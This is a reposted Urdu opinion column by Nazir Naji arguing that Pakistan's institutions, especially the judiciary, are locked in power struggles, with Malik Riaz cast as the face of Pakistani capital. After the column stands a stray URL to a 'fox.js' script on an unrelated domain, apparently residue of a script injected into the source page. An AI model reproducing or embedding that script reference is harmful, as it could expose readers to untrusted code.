CJ Gate: Malik Riaz represents Pakistani version of capitalism – by Nazir Naji & Javed Chaudhry

سرمائے کا نام

نذیر ناجی

گزشتہ چار سال کے تجربے سے ظاہر ہوا کہ ہمارے ہاں ریاست کو فنکشنل رکھنے والے سارے ہی آلات ناکارہ ہو چکے ہیں۔ غیرجمہوری حکومتیں آتی ہیں تو ان کے پاس ڈنڈے کے سوا کچھ نہیں ہوتا اور ظاہر ہے ڈنڈوں سے ریاستوں کو جس طرح چلایا جا سکتا ہے‘ ہمارے ملک کو بھی چلایا جاتا رہا۔ جمہوریت آتی ہے‘ تو ریاست کے ناکارہ اور زنگ آلود نظام کو دوبارہ حرکت میں لانے کے لئے اداروں کو متحرک کرنا پڑتا ہے اور آمریت کے دوران ان میں ربط کار کے اندر جو خلل اور نقائص پڑ چکے ہوتے ہیں‘ انہیں دور کرنے کے لئے غیرمعمولی کوششیں کرنا پڑتی ہیں۔ ان کوششوں کی کامیابی کے لئے جمہوری نظام چلانے والوں کو انتہائی صبر‘ مہارت اور بڑی حد تک عوام اور وطن کے ساتھ ہمدردی اور محبت کے جذبوں سے کام لیتے ہوئے ذمہ داریاں ادا کرنا پڑتی ہیں۔ ترکی گزشتہ کئی برس سے اس عمل سے گزر رہا ہے۔ اب کہیں جاکر کامیابی کے ثمرات وہاں کے عوام کو حاصل ہونے لگے ہیں۔ یہ عمل ابھی جاری ہے۔ آمریت کی باقیات کو تلف کرنے کے لئے آج بھی انہیں مشکلات کا سامنا ہے۔ لیکن ترکی کی سیاسی قیادت بڑے امتحانوں سے قریب قریب نکل آئی ہے۔ بدنصیبی کی بات ہے کہ ہمارے ہاں جمہوریت کو چار سال ملنے کے بعد بھی ہم اداروں کی بحالی کا عمل شروع نہیں کر پائے۔ اگر میں براہ راست خرابیوں کی نشاندہی کروں‘ تو ہر خرابی کا ذمہ دار اپنے دفاع کے لئے کھڑا ہو جائے گااور پھر مختلف طریقوں کے ذریعے ذمہ داری دوسروں پر ڈالنے لگے گا۔ مگر ایسی صورتحال میں درحقیقت سب ہی ذمہ دار ہوتے ہیں۔ میں یہ سمجھتا ہوں کہ جمہوریت کو دوبارہ پیروں پر کھڑا کرنے کی ذمہ داری جن اداروں کے سپرد ہوئی‘ انہیں چلانے والے سب کے سب اپنے اصل ٹارگٹ پر نگاہ نہیں رکھ پائے۔ کہنے کو تو ہر ایک نے کہا کہ وہ جمہوریت کو مضبوط کرنے کا خواہشمند ہے لیکن عملاً کسی نے بھی اپنے مقصد کے حصول کے لئے شعوری کوشش نہیں کی۔ سب کے سب اقتدار کے ثمرات سمیٹنے میں لگ گئے اور یہ بھول گئے کہ جس اقتدار کی بنیادیں ہی مضبوط نہ ہوں‘ وہ تادیر ثمرآور نہیں رہتا۔ جو لوگ پارلیمنٹ میں آئے ان کی ذمہ داری سب سے زیادہ تھی۔ ٹوٹے ہوئے آئینے کے ٹکڑے جمع کر کے انہیں جوڑنا آسان کام نہیں ہوتا۔ مگر یہ کام کرنے کی کسی نے کوشش ہی نہیں کی اور انہی ٹوٹے ہوئے ٹکڑوں کے اوپر کھڑے ہو کر دولت سمیٹنے اور اقتدار کی چھینا جھپٹی میں لگ گئے۔ جس کے پاس اقتدار نہیں تھا وہ اسے چھیننے کے لئے ہر جتن کرنے لگا۔ جس کے پاس تھا‘ وہ اپنے قابو آئے ہوئے اقتدار کے بچاؤ کے لئے ہاتھ پاؤں مارنے لگا اور جس کے پاس اقتدار تو تھا مگر وہ زیادہ کا خواہش مند تھا‘ وہ دوسرے کے چھابے میں ہاتھ مارنے لگا۔ بظاہر اسمبلیاں بھی ہیں‘ جمہوریت بھی ہے‘ حکومتیں بھی ہیں‘ ادارے بھی ہیں لیکن جس طرح ایک ریاست کے اداروں کو ہم آہنگی سے کام لیتے ہوئے ریاست کو فنکشنل کرنا چاہیے‘ اس طرح کسی نے کام نہیں کیا۔ چار سالوں سے ریاست چل رہی ہے‘ اداروں کا ایک دوسرے پر ابھی تک اعتماد نہیں۔ سب نے ایک دوسرے کے خلاف گھات لگا رکھی ہے اور سب ایک دوسرے کے وار سے بچنے کے لئے ایک ایک آہٹ پر کان دھرے بیٹھے ہیں۔ کسی بھی ادارے کا جائزہ لے کر دیکھ لیں‘آپ کو زیادہ زحمت نہیں اٹھانا پڑے گی۔ پہلی ہی کوشش میں یاد آجائے گا کہ کب کس ادارے نے کس پر وار کیا اور دوسرا کس طرح اپنے آپ کو بچانے میں کامیاب ہوا؟ اداروں کی اسی باہمی کشمکش کا ایک نظارہ عدلیہ اور دیگر اداروں میں ہونے والی رسہ کشی کی صورت میں بھی سامنے آیا۔ مشرف کی آمریت جب انجام کو پہنچی‘ تو اتفاق سے اسے آخری دھکا دینے کا موقع وکلا کی تحریک کو مل گیا۔ جس سے یہ تصور پیدا ہواکہ بنچ اور بار بہت بڑی سیاسی طاقت بن گئے ہیں اور وہ دوسرے اداروں کو دباؤ میں لا سکتے ہیں۔ چنانچہ عدلیہ میں اس طرح کے سخت فیصلے آنے لگے ۔ یہاں تک کہ افسروں کی ترقیوں‘ تعیناتیوں اور تبادلوں کا اختیار بھی عدلیہ کو منتقل ہوتا نظر آیا اور ایگزیکٹو برانچ کے سربراہ بے بسی کے عالم میں اپنی اتھارٹی بچانے کے لئے ہاتھ پاؤں مارتے رہے۔ میڈیا نے اس کشمکش میں اپنی داؤ بازیاں شروع کر دیں اور اس کے ایک حصے نے صدرزرداری کو براہ راست ہدف بنا کر انہیں ایوان صدر سے نکالنا اپنی ذمہ داری سمجھ لیا اور بعض تو اتنے جوش میں آگئے کہ صدر زرداری کو ایمبولینس میں ڈال کر ایوان صدر سے نکالنے کی منظر کشی کرنے لگے۔ ایگزیکٹو کو بے چارگی کے عالم میں جھکتے اور ڈرتے دیکھ کر فوج کی طرف بھی توجہ مبذول ہوئی۔ یہ ادارہ سرحدی کے علاوہ داخلی سکیورٹی کا بھی ذمہ دار ہوتا ہے۔ دہشت گردی پاکستان میں بری طرح سے پھیلی ہوئی تھی۔ ایسے مواقع پر سکیورٹی فورسز کو خصوصی اختیارات دیئے جاتے ہیں اور عموماً بنیادی حقوق معطل کر دیئے جاتے ہیں۔ مگر اداروں کی باہمی کش مکش میں ایگزیکٹو اتنی کمزور پڑ گئی تھی کہ وہ ہنگامی حالات نافذ نہ کر سکی۔ سکیورٹی والوں نے جو دہشت گرد اور ریاست کے دشمن اپنی تحویل میں لئے‘ انہیں عام قوانین کے تحت حراست میں رکھنا ممکن نہ تھا۔ بنیادی حقوق کی موجودگی میں وکلا کا عدلیہ سے مدد مانگنا لازم تھا۔ دہشت گردوں کی ضمانتیں منظور ہونا شروع ہوگئیں۔ سکیورٹی والے عجیب مخمصے میں پھنس گئے۔ وہ اپنی جانوں پر کھیل کر اور خون بہا کر دہشت گردوں کو پکڑتے اوروہ ضمانتیں منظور کروالیتے۔ اس سے ایک نئی کشمکش جنم لینے لگی۔ لیکن فیصلوں سے صحیح یا غلط لوگوں کو ریلیف ملنے لگی‘ تو سکیورٹی فورسز اور انتظامیہ کو مطلوب ہر شخص عدالتوں کے دروازے پر دستک دینے لگا۔جس کے بعد کئی ایسے اقدامات ہوئے جن میں انصاف و قانون کے تقاضوں کے بجائے عوامی مقبولیت کا عنصر زیادہ نظر آتا تھا۔ تاریخ ایسے واقعات سے بھری پڑی ہے کہ جب اداروں کے ٹکراؤ میں عدلیہ بھی شامل ہوگئی‘ تو اسے ہزیمت سے دوچار ہونا پڑا۔ میں نے اس موضوع پرٹکراؤ کے پہلے ہی مرحلے میں انتباہ کرنا شروع کر دیا تھا کہ عدلیہ کو بے پناہ عوامی مقبولیت اور طاقت حاصل کرنے کے بعد کوشش کرنا چاہیے کہ آئین و قانون کے تحت دستیاب اختیارات کو استعمال کرتے ہوئے عوام کو سستا اور تیزرفتار انصاف فراہم کرنے کے لئے غیرمعمولی کارکردگی دکھائے اور یہ حقیقت کبھی نہیں بھولنا چاہیے کہ ریاستی اداروں میں عدلیہ کی حیثیت ایک بزرگ کی سی ہوتی ہے جس کا اختیار اسی وقت تک باقی رہتا ہے‘ جب تک تمام افراد خانہ اس سے خیر‘ محبت اور انصاف کی امید میں عزت و احترام سے کام لیتے رہیں۔ مگر جیسے ہی گھر کے ایک بھی فرد کو اپنے ساتھ ناانصافی کی شکایت پیدا ہوتی ہے‘ تو وہ بغاوت پر اتر آتا ہے اور اپنا غصہ بزرگ پر نکالتا ہے۔ کیونکہ اس کے پاس اپنی بزرگی کے احترام کے سوا کوئی طاقت نہیں ہوتی۔ عدلیہ بھی ریاستی اداروں میں رگ پٹھوں کے زور میں سب سے کمزور ہوتی ہے اور جب بھی اس نے دوسرے اداروں کو نیچا دکھانے کی کوشش کی‘ اسے پیچھے ہٹنا پڑا اور ہماری عدلیہ نے تو محض میڈیا کے ایک حصے کے بل بوتے پر ریاست کے دیگر اداروں کو پریشان کرنا شروع کر دیا تھا۔ میں جانتا تھا کہ ایک نہ ایک دن ردعمل آئے گا اور عدلیہ کو افسوسناک حالت میں اپنے طرزعمل پر نظرثانی کرنا پڑے گی۔ ارسلان افتخار کا واقعہ الگ تھلگ چیز نہیں۔ یہ طاقت کے مراکزکے جوابی اقدام کا ایک عنصر ہے۔ مجھے ایک ٹی وی اینکر نے پوچھا تھا کہ ”ملک ریاض حسین کون ہے؟“ میں نے جواب دیا کہ ”پاکستان میں سرمائے کا نام ملک ریاض حسین ہے۔“ اس کا نام ہر ملک میں الگ ہوتا ہے مگر کام ایک ہی ہوتا ہے اور وہ ہے طاقت کے مراکز کو توسیع اور تحفظ دینا۔ اگر آپ میرے پرانے کالموں کو یاد کریں توآپ نے بارہا پڑھا ہو گا کہ ”جج معصوم‘ بھولا اور دنیا کی چالبازیوں سے بے خبر ہوتا ہے۔“آج کے حالات سے کیا میری بات کی تصدیق نہیں ہوتی۔ آج ان کی کیفیت پر سب سے زیادہ دکھی میں ہوں۔ وہ ہر اعتبار سے ایک مثالی جج ہیں لیکن طاقت کے کھیل میں وہ حسب روایت کمزور نکلے۔

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&jang.net/urdu/archive/details.asp?nid=626903

javed chaudhry on malik riaz 10jun2012

javed chaudhry on malik riaz 7jun2012

Comments

comments

Latest Comments
  1. Abdul Nishapuri
    -
  2. Abdul Nishapuri
    -
  3. Abdul Nishapuri
    -
  4. Abdul Nishapuri
    -
  5. Abdul Nishapuri
    -